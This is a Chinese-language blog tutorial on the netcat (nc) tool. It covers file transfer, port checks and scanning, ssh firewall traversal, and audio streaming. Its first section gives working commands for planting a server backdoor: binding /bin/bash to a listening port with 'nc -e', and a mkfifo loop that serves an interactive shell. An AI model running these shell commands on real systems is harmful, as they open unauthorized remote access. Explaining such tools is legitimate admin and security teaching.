nc很强大,容易让人蹲号子

原创:小姐姐味道(微信公众号ID:xjjdog)
作者小姐姐养的狗

对于nc命令来说,可真的是要一行代码调半天。因为这行代码的威力是非常大的!当然,用不好的话,还会给自身带来麻烦。

netcat这个工具,简称nc,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename掉,或者给000的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且及其方便。

image

那nc命令在什么地方呢?where is it?

# whereis nc
nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz

它告诉我,文件在/usr/bin目录下。我们使用file命令来看一下它的属性。结果发现它是一个链接文件。

# file /usr/bin/nc
/usr/bin/nc: symbolic link to `ncat'

从这里我们能够看出,nc的全称是ncatConcatenate and redirect sockets。这是一把瑞士军刀。

nc的参数非常非常多,如果列出来,会让你失去兴趣,白白错过了这么厉害的工具,也错过了进局子的机会。我们还是以案例来说明,这款不到1MB的命令,为什么俘获了xjjdog的芳心。

1. 服务器上安后门

下面的命令,将在机器上开放5879端口。服务端:

# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879

这个过程叫做反弹shell,远程就可以使用nc命令连接,做一些事情。

客户端:

# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

此时,执行任何shell命令,都可以正常运行。下面这张gif动画可以验证这个过程。

image

想要更霸道一点的么?我们需要借助mkfifo命令。

在服务器上,执行下面两个命令,这就构造了一个循环。

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l  5879 > /tmp/f

客户端nc连接以后,竟然直接出现了命令行操作终端!

$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#

你可能会说,我客户端关掉之后,为什么服务端的命令也退出了?如果你想要服务端继续监听,可以加上参数-k

2.文件和目录传送

还在用sftp?还是用rzsz?

这些工具虽然好用,但需要安装。有时候事情紧急,或者权限把的严,并没有这样的工具。

此时,nc可以来帮忙。

服务端同样监听一个端口,但是这次把重定向定向到一个文件。

nc -l 5879 > file

客户端就可以启动一个命令将文件发送过去。这次是使用反向的箭头。

nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz

文件传的飞快!而且由于没有rsa那一套的加密,速度更快了。

查看它们的md5,一模一样。

MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c

md5sum file
224cabf26d622f37528b398762e1578c  file

我知道你的脑子里现在在想着怎么传送目录了。这个过程很有意思。

我们把nc的输出,使用管道交给tar命令处理。xfvzcvfz是一对参数,你应该猜到要怎么做了。

nc -l 5879  | tar xfvz -

没错,客户端的代码与上面的是相反的。不过这次,我们的nc命令接收了打包的文件。

tar cfz - redis-5.0.5 |  nc -v 192.16.1.54 5879

真的是非常巧妙。

3.网络连通性检测

没错,这是nc命令最常用的地方了。

如果你想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps一下看一下进程,或者使用netstat -antl看一下监听的端口。

使用nc就可以了。

只需要简单的打上ip和端口,它就能知道结果。

# nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!

当然,它也可以扫描主机的端口开放情况。不过对程序员来说用的不多。

nc -vzw 2 192.16.1.54 8888-9999

4.防火墙穿透

比如下面这张图。你想要访问tongariro的这台机器,但是你是没有权限的。它只能通过aoraki的防火墙访问。同时,aoraki也只能接受来自ruapehu的请求。

image

通过组合ssh命令可以达到这个效果。

ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro

通过ssh的ProxyCommand,可以完成简单的配置。

使用下面的命令可以快速打通这个通道。

ssh -oProxyCommand="ssh host1 nc host2 22" host2

5.其他

你可以看到了。nc的这些能力,不是nc自身提供的,而是其他额外的命令。

比如,这里实现一个简单的时间服务器。web浏览器访问即可获取。

ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'

再比如,做一个远程视频服务。

image

服务端。

arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -

客户端。

arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • 简介 学网络的都知道,网络中两个主机之间的通信本质上就是两个端口之间的通信,即socket。比如两个人对话聊天、互...
    快给我饭吃阅读 889评论 0 4
  • 课程介绍: 在网络工具中有“瑞士军刀”美誉的Netcat, 首次出现在1995年,这么多年过去了互联网人士对它的喜...
    二潘阅读 883评论 0 0
  • nc是网络调试的一款强大的工具,是用于处理TCP或UDP数据的通用实用程序,是黑客界的瑞士军刀 看看的常规用法: ...
    noosphere阅读 435评论 0 0
  • Linux系统下网络工具nc的使用验证 nc的man帮助输出 1:监听指定端口监听本地端口nc -l 12345 ...
    麦兜的刀阅读 482评论 0 1
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,515评论 16 22